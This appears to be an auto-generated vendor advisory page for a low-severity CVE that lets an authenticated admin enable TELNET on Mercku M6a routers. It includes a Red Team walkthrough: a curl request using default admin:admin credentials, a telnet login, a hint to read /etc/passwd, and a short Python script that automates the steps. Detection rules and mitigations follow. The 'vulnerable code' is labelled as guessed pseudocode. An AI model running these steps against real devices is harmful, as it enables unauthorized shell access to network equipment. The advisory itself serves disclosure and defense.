CVE-2025-62773
Executive Summary
CVE-2025-62773 identifies a critical misconfiguration in Mercku M6a devices running firmware version 2.1.0 or earlier. An authenticated administrator can enable TELNET services on the device by sending a crafted router.telnet.enabled.update request. This allows persistent remote access to the device's command-line interface, bypassing normal security controls. The vulnerability is rated with a CVSS score of 2.4, indicating low severity due to the requirement for administrative privileges and local network access. However, the potential for lateral movement and persistent access makes it a significant concern for network security.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level misconfiguration in a hardware device.
CVSS Breakdown & Threat Level
- CVSS Score: 2.4 (Low)
- Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
- Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same network segment as the device.
- Attack Complexity (AC): Low (AC:L) – No special conditions required.
- Privileges Required (PR): High (PR:H) – Administrator credentials are needed.
- User Interaction (UI): None (UI:N) – No user action required.
- Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality (C): Low (C:L) – Limited information disclosure via TELNET access.
- Integrity (I): None (I:N) – No data modification.
- Availability (A): None (A:N) – No impact on availability.
Threat Level: Low. Exploitation requires administrative credentials and local network access. However, once TELNET is enabled, an attacker can maintain persistent access and potentially pivot to other network devices.
Deep Dive & Mechanics
The vulnerability lies in the device's web management interface. The endpoint router.telnet.enabled.update is intended for administrators to enable or disable TELNET services. However, the device does not enforce proper authorization checks beyond basic authentication. An authenticated administrator can send a POST request to this endpoint with a parameter to enable TELNET, which then opens port 23 on the device.
Root Cause: The device lacks proper access control mechanisms to restrict the TELNET enablement feature to only authorized administrative actions. The firmware does not validate the context or necessity of enabling TELNET, allowing any authenticated admin to enable it without additional verification.
Attack Flow:
- Attacker gains administrative credentials (e.g., via default passwords, phishing, or brute force).
- Attacker sends a POST request to
http://<device-ip>/router.telnet.enabled.updatewith payloadenabled=true. - The device enables TELNET service on port 23.
- Attacker connects via TELNET to the device's IP address on port 23.
- Attacker gains shell access with root privileges (or administrative privileges) on the device.
Vulnerable vs. Patched Code
Vulnerable Code (Firmware <= 2.1.0): The web server likely handles the endpoint without checking if TELNET is already enabled or if the request is legitimate. Example pseudocode:
@app.route('/router.telnet.enabled.update', methods=['POST'])
def update_telnet():
if request.form['enabled'] == 'true':
os.system('systemctl start telnetd')
return 'OK'
Patched Code (Hypothetical): A patched version would require additional validation, such as checking if the admin has explicitly authorized TELNET access via a separate configuration step, or requiring a confirmation token.
@app.route('/router.telnet.enabled.update', methods=['POST'])
def update_telnet():
if not session.get('telnet_authorized'):
return 'Unauthorized', 403
if request.form['enabled'] == 'true':
os.system('systemctl start telnetd')
return 'OK'
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the same network as the Mercku M6a device.
- Administrative credentials (e.g., admin/admin).
Exploitation Steps:
- Identify the device IP (e.g., 192.168.1.1).
- Send a POST request to enable TELNET:
curl -X POST http://192.168.1.1/router.telnet.enabled.update -d "enabled=true" -u admin:admin - Connect via TELNET:
telnet 192.168.1.1 - Once connected, you have shell access. Use commands like
ls,cat /etc/passwd, orifconfigto explore.
Automated Exploit (Python):
import requests
import telnetlib
target = "http://192.168.1.1"
username = "admin"
password = "admin"
# Enable TELNET
requests.post(f"{target}/router.telnet.enabled.update", data={"enabled": "true"}, auth=(username, password))
# Connect via TELNET
tn = telnetlib.Telnet("192.168.1.1")
tn.interact()
Blue Team
Detection:
- Monitor for POST requests to
/router.telnet.enabled.updatefrom any IP. - Alert on TELNET connections (port 23) to the device from unexpected sources.
- Check for unusual processes like
telnetdrunning on the device.
Hunting:
- Search logs for
router.telnet.enabled.updatein web server logs. - Look for TELNET traffic on the network segment.
Mitigation:
- Change default administrative credentials immediately.
- Disable TELNET service if not needed.
- Implement network segmentation to limit access to the management interface.
- Apply firmware updates when available.
Indicators of Compromise (IOCs)
- Network:
- POST request to
/router.telnet.enabled.updatewith parameterenabled=true. - TELNET traffic (port 23) to/from the device.
- POST request to
- Host:
- Process
telnetdrunning on the device. - Open port 23 on the device.
- Process
- Logs:
- Web server logs showing
POST /router.telnet.enabled.updatefrom an admin user. - System logs indicating TELNET service start.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_62773_Telnet_Enable {
meta:
description = "Detects HTTP requests enabling TELNET on Mercku M6a devices"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-62773"
strings:
$s1 = "router.telnet.enabled.update" ascii wide nocase
$s2 = "enabled=true" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: Mercku M6a TELNET Enable Request
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to enable TELNET on Mercku M6a devices
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-62773
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/router.telnet.enabled.update'
cs-uri-query: 'enabled=true'
condition: selection
falsepositives:
- Legitimate administrative actions
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62773 Mercku M6a TELNET Enable"; flow:to_server; content:"POST"; http_method; content:"/router.telnet.enabled.update"; http_uri; content:"enabled=true"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Change default administrative credentials to strong, unique passwords.
- Disable TELNET service if not required for business operations.
- Restrict access to the management interface to trusted IP addresses only.
Network Segmentation:
- Place the device on a separate VLAN with strict firewall rules.
- Block inbound TELNET traffic (port 23) from untrusted networks.
Firmware Update:
- Contact Mercku for a firmware patch. If unavailable, consider replacing the device with a more secure alternative.
Monitoring:
- Enable logging on the device and monitor for suspicious requests.
- Use the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
Long-term:
- Implement a vulnerability management program to regularly assess and patch IoT devices.
- Use network access control (NAC) to enforce device compliance.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.